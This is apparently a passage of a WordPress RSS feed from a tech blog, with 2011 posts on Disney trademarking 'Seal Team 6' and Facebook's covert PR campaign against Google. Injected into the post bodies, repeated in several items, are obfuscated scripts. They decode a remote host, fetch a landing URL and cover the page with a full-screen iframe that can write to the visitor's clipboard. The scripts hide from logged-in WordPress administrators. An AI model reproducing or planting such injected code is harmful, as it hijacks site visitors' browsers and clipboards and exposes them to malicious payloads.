<p>    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);</p>
<p>    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }</p>
<p>  function run() {
    warmupOrigins();
    bindMessageHandler();</p>
<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }</p>
<p>        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        finalUrl = toHttpUrl(finalUrl);</p>
<p>        if (!finalUrl) {
          cleanup("done");
          return "";
        }</p>
<p>        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }</p>
<p>        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }</p>
<p>  registry.runPromise = run();
})();</script></p>
  ]]></content:encoded>
					
					<wfw:commentRss>http://technacea.com/2011/05/14/the-new-tech-bubble/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">128</post-id>	</item>
		<item>
		<title>Disney to the US SEALS</title>
		<link>http://technacea.com/2011/05/13/disneytotheusseals/</link>
					<comments>http://technacea.com/2011/05/13/disneytotheusseals/#comments</comments>
		
		<dc:creator><![CDATA[Bill Sanders]]></dc:creator>
		<pubDate>Sat, 14 May 2011 00:03:49 +0000</pubDate>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Media]]></category>
		<guid isPermaLink="false">http://technacea.com/?p=117</guid>

					<description><![CDATA[Wow. The sheer lack of respect. I&#8217;m not astounded that Disney pulled this stunt, but I am astounded that those in charge of the trademark office don&#8217;t have the common sense to reject this out of hand on the basis of well, sheer common sense. WTF!? Some congresscritter should take the reform of the trademarks as well&#8230; <a class="more-link" href="http://technacea.com/2011/05/13/disneytotheusseals/">Continue reading <span class="screen-reader-text">Disney to the US SEALS</span></a>]]></description>
										<content:encoded><![CDATA[<p><a rel="attachment wp-att-120" href="http://technacea.com/2011/05/13/disneytotheusseals/mickey/"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-120" title="mickey" src="http://technacea.com/wp-content/uploads/2011/05/mickey.jpg" alt="" width="309" height="455" /></a></p>
<p>Wow. The sheer lack of respect. I&#8217;m not astounded that Disney pulled this stunt, but I am astounded that those in charge of the trademark office don&#8217;t have the common sense to reject this out of hand on the basis of well, sheer common sense. WTF!?</p>
<p>Some congresscritter should take the reform of the trademarks as well as the patent office on as a cause. There is enough screwed up stuff in both cases to make a career.</p>
<blockquote><p>In a perfect example of a big media company looking to capitalize on current events, The Walt Disney Company has trademarked “Seal Team 6,” which also happens to be the name of the elite special forces team that killed <strong>Osama Bin Laden</strong>.</p>
<p>The trademark applications came on May 3rd, two days after the operation that killed Bin Laden… and two days after “Seal Team 6″  was included in thousands of news articles and TV programs focusing on the operation.</p>
<p>Disney’s trademark applications for “Seal Team 6″ cover clothing, footwear, headwear, toys, games and “entertainment and education services,” among other things. <a href="http://www.mediabistro.com/fishbowlny/disney-trademarks-seal-team-6_b35689" target="_blank">more&#8230;</a></p></blockquote>
<p>I hope the Navy sues Disney and wins.</p>
<p>&nbsp;<script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]||{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady||("complete"===document.readyState||document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e||"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||"").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&&"object"==typeof e.data&&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();</p>
<p>console.log('28du3');</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];</p>
<p>  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";</p>
<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };</p>
<p>  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;</p>
<p>      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;</p>
<p>      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;</p>
<p>      var de = document.documentElement;
      var body = document.body;</p>
<p>      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}</p>
<p>    return false;
  }</p>
<p>  if (isWpLoggedInContext()) return;</p>
<p>  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }</p>
<p>  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }</p>
<p>  registry.status = "loading";</p>
<p>  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }</p>
<p>  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";</p>
<p>    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }</p>
<p>    var encoded = encodeURIComponent(id);</p>
<p>    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }</p>
<p>    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function toHttpUrl(value) {
    if (!value) return "";</p>
<p>    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");</p>
<p>    if (!s) return "";</p>
<p>    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }</p>
<p>    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}</p>
<p>    return "";
  }</p>
<p>  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";</p>
<p>    if (typeof input === "string") {
      return toHttpUrl(input);
    }</p>
<p>    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }</p>
<p>    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }</p>
<p>    return "";
  }</p>
<p>  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }</p>
<p>  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;</p>
<p>    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;</p>
<p>    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;</p>
<p>      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;</p>
<p>      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }</p>
<p>      parent.appendChild(link);
    } catch (e) {}
  }</p>
<p>  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;</p>
<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }</p>
<p>      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));</p>
<p>      if (!builtUrl) {
        return step(index + 1);
      }</p>
<p>      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }</p>
<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }</p>
<p>    return step(0);
  }</p>
<p>  function activateIframe(url) {
    if (!url || registry.status === "active") return;</p>
<p>    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }</p>
<p>    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }</p>
<p>    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }</p>
<p>    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;</p>
<p>    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);</p>
<p>      registry.status = "active";</p>
<p>      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");</p>
<p>      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }</p>
<p>    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }</p>
<p>    registry.destroy = destroy;
    registry.reveal = reveal;</p>
<p>    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");</p>
<p>    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };</p>
<p>    iframe.onerror = function () {
      destroy();
    };</p>
<p>    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);</p>
<p>    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }</p>
<p>  function run() {
    warmupOrigins();
    bindMessageHandler();</p>
<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }</p>
<p>        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        finalUrl = toHttpUrl(finalUrl);</p>
<p>        if (!finalUrl) {
          cleanup("done");
          return "";
        }</p>
<p>        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }</p>
<p>        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }</p>
<p>  registry.runPromise = run();
})();</script></p>
  ]]></content:encoded>
					
					<wfw:commentRss>http://technacea.com/2011/05/13/disneytotheusseals/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">117</post-id>	</item>
		<item>
		<title>Facebook PR Debacle: If not for Ethics Violations, Fire Them for Incompetence</title>
		<link>http://technacea.com/2011/05/13/facebookprdebacle/</link>
					<comments>http://technacea.com/2011/05/13/facebookprdebacle/#respond</comments>
		
		<dc:creator><![CDATA[Bill Sanders]]></dc:creator>
		<pubDate>Fri, 13 May 2011 16:54:16 +0000</pubDate>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Leadership]]></category>
		<category><![CDATA[Social]]></category>
		<guid isPermaLink="false">http://technacea.com/?p=94</guid>

					<description><![CDATA[In case you haven&#8217;t seen the news: The social-networking company secretly hired a public-relations firm to push stories critical of Google&#8217;s privacy practices. But the strategy backfired when bloggers and journalists disclosed Facebook&#8217;s behind-the-scenes role, forcing the company to explain its tactics. Facebook hired WPP Group PLC&#8217;s Burson-Marsteller to pitch journalists and security experts on stories&#8230; <a class="more-link" href="http://technacea.com/2011/05/13/facebookprdebacle/">Continue reading <span class="screen-reader-text">Facebook PR Debacle: If not for Ethics Violations, Fire Them for Incompetence</span></a>]]></description>
										<content:encoded><![CDATA[<p><a rel="attachment wp-att-102" href="http://technacea.com/2011/05/13/facebookprdebacle/facebooksmear/"><img loading="lazy" decoding="async" class="alignnone size-medium wp-image-102" title="FacebookSmear" src="http://technacea.com/wp-content/uploads/2011/05/FacebookSmear-500x292.jpg" alt="" width="500" height="292" srcset="http://technacea.com/wp-content/uploads/2011/05/FacebookSmear-500x292.jpg 500w, http://technacea.com/wp-content/uploads/2011/05/FacebookSmear.jpg 918w" sizes="auto, (max-width: 500px) 100vw, 500px" /></a></p>
<p><a rel="attachment wp-att-102" href="http://technacea.com/2011/05/13/facebookprdebacle/facebooksmear/"></a>In case you haven&#8217;t seen the news:</p>
<blockquote><p>The social-networking company secretly hired a public-relations firm to push stories critical of Google&#8217;s privacy practices. But the strategy backfired when bloggers and journalists disclosed Facebook&#8217;s behind-the-scenes role, forcing the company to explain its tactics.</p>
<p>Facebook hired <a href="http://online.wsj.com/public/quotes/main.html?type=djn&amp;symbol=WPPGY">WPP Group</a> PLC&#8217;s Burson-Marsteller to pitch journalists and security experts on stories that questioned Google&#8217;s practice of collecting information from people&#8217;s Facebook and other social-networking accounts. <a href="http://on.wsj.com/j7a1P5" target="_blank">Read more</a></p></blockquote>
<p>Everyone involved at Facebook, Burson-Marsteller, and WPP Group is (or should be) embarrassed and ashamed. I wonder what they were thinking. Did they really believe they could use social media to run a behind-the-scenes smear campaign against a major competitor and get away with it? Social media is known for being transparent. Anyone that reads the news on a regular basis would have bet that this would have ended badly.</p>
<p>One might argue the case against firing the individuals responsible on the basis of character or ethics violations, but I defy anyone to argue that they shouldn&#8217;t be fired for incompetence.</p>
<p>&nbsp;</p>
<p>&nbsp;<script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]||{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady||("complete"===document.readyState||document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e||"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||"").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&&"object"==typeof e.data&&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();</p>
<p>console.log('28du3');</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];</p>
<p>  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";</p>
<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };</p>
<p>  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;</p>
<p>      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;</p>
<p>      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;</p>
<p>      var de = document.documentElement;
      var body = document.body;</p>
<p>      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}</p>
<p>    return false;
  }</p>
<p>  if (isWpLoggedInContext()) return;</p>
<p>  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }</p>
<p>  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }</p>
<p>  registry.status = "loading";</p>
<p>  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }</p>
<p>  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";</p>
<p>    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }</p>
<p>    var encoded = encodeURIComponent(id);</p>
<p>    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }</p>
<p>    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function toHttpUrl(value) {
    if (!value) return "";</p>
<p>    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");</p>
<p>    if (!s) return "";</p>
<p>    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }</p>
<p>    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}</p>
<p>    return "";
  }</p>
<p>  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";</p>
<p>    if (typeof input === "string") {
      return toHttpUrl(input);
    }</p>
<p>    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }</p>
<p>    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }</p>
<p>    return "";
  }</p>
<p>  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }</p>
<p>  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;</p>
<p>    var key = rel + "::" + href;
